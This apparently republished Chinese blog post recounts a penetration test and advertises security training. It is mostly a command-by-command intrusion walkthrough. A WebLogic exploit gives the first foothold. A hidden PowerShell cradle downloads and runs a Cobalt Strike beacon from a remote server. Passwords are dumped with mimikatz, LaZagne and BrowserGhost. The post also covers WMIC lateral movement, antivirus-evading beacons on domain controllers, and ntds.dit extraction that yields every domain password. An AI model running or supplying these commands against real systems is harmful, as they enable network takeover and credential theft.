记录某次实战渗透测试过程
2021-10-27 14:59:07 Author: mp.weixin.qq.com(查看原文) 阅读量:27 收藏

本文来自宽字节安全第一期线下培训学员Lemon投稿。第二期线下培训预计十一月底开班,欢迎咨询。

号外

宽字节第二期线下培训开始招生啦!!!

宽字节首期内网渗透线上课开班啦!!!

宽字节第二期JAVA安全进阶线上课开班啦!!!


在某次项目中对某个网站的渗透测试,记录一下。

先做信息收集,使用oneforall收集一下子域名。

python3 oneforall.py --target xxxxx run

在对上面的扫描结果逐一测试的时候,发现某子域名有weblogic漏洞

通过weblogic漏洞利用工具扫描发现有CVE_2020_2551漏洞,管理员用户

判断是否出网

目标机器出网,并且能和VPS服务器通信

cs上线

执行poweshell看能不能上线

cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxx'))"

cs可以上线

拿到administrator权限,

密码收集

1.执行mimikatz获取密码

logonpasswords

2.使用LaZagne取各种连接工具密码、浏览器保存密码等

shell cmd.exe /c D:\bea\lazagne.exe all -oN

3.抓取浏览器密码,使用BrowserGhost

dump LDAP

查询到目标机器在域内,域用户登录

shell wmic computersystem get domain
shell whoami /all

前面已经确定目标机器在域内,并且目标机器是域用户登录。

域成员用户可以通过LDAP访问域的目录数据库从而看到整个域的信息。

这是使用的一种方式是通过 ADExplorer软件dump

将ADExplorer.exe上传到目标机器,使用以下命令执行

D:\bea\xx\ADExplorer.exe -snapshot "" D:\bea\xx\result.dat /accepteula

将resul.dat 在本地用ADExplorer打开即可看到域的信息

扫描内网

查看本机IP,本机IP为192.168.10.3.

使用fscan工具扫描一下192.168.10内网段,从扫描结果看出192.168.10.10和192.168.10.32应该是域控服务器

横向

通过LDAP和内网扫描看到域内有两台域控:192.168.10.10、192.168.10.32

判断用户权限

shell whoami /all
shell net group "domain admins" /domain

比较幸运,上线就是域管用户可以直接使用域管用户身份横线域内其他机器

先尝试横向域控192.168.10.10机器,wmic可用,通过wmic进行横向

shell wmic /node:192.168.10.10 os get name

判断是否有杀软

shell wmic /node:192.168.10.10 process get processid,name

列出192.168.10.10进程,使用杀软在线查询,目标机器有杀软

判断192.168.10.10是否出网,如果直接执行ping 8.8.8.8或者其他公网地址,但是CS上没有回显就无法判断,在这里分享一下我常用的两种方法:

1.通过DNSlog (http://www.dnslog.cn/)

shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping g2azxa.dnslog.cn"

2.通过tcpdump

tcpdump -i 网卡名 icmp

shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping VPSip"

两种方法都没有回显,192.168.10.10不出网。

192.168.10.10不出网而且有杀软,先做免杀,然后通过CS的smb隧道将192.168.10.10link上线

在CS上创建SMB监听,使用smb监听生成beacon。

将做好免杀的beacon 上传到192.168.10.10。

通过link192.168.10.10 上线

shell wmic /node:192.168.10.10 process call create "cmd.exe /c c:\Users\Public\ms.exe c:\Users\Public\mnb.bin.new"

link 192.168.10.10

第一台域控上线,接着横向另一台192.168.10.32机器,方法跟上面一样,判断出网和杀软。

192.168.10.32出网有杀软,这样就不用通过link上线了,直接做免杀beacon上线就行。

shell wmic /node:192.168.10.32 process call create "cmd.exe /c c:\Users\Public\ms.exe c:\Users\Public\beacon.bin.new"

拿到域控可以导出域hash

Windows的密码是经过hash后存储的,本地存在hklm\sam,hklm\system注册表中

域里面存在域控制器的c:\windows\ntds\ntds.dit中,我们取出来解密即可

shell ntdsutil "activate instance ntds" ifm "create full C:\users\Public\ntdsutil" quit quit

再使用reg命令导出system 和security

  reg save hklm\system system

  reg save hklm\security security

使用impacket下的secretsdump.py 解hash

python secretsdump.py -ntds "C:\ntds\ntds.dit" -security "C:\ntds\SECURITY" -system "C:\ntds\SYSTEM" local

最后成功获取当前域控中所有域账户和密码

欢迎咨询:


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485568&idx=1&sn=80762499286b0f59c962ceb83c5d2fe3&chksm=fa8b1518cdfc9c0e5e2ff1529f422852755fa3a4f3b8557ae9c451a30a67f34b460076da18dc#rd
如有侵权请联系:admin#unsafe.sh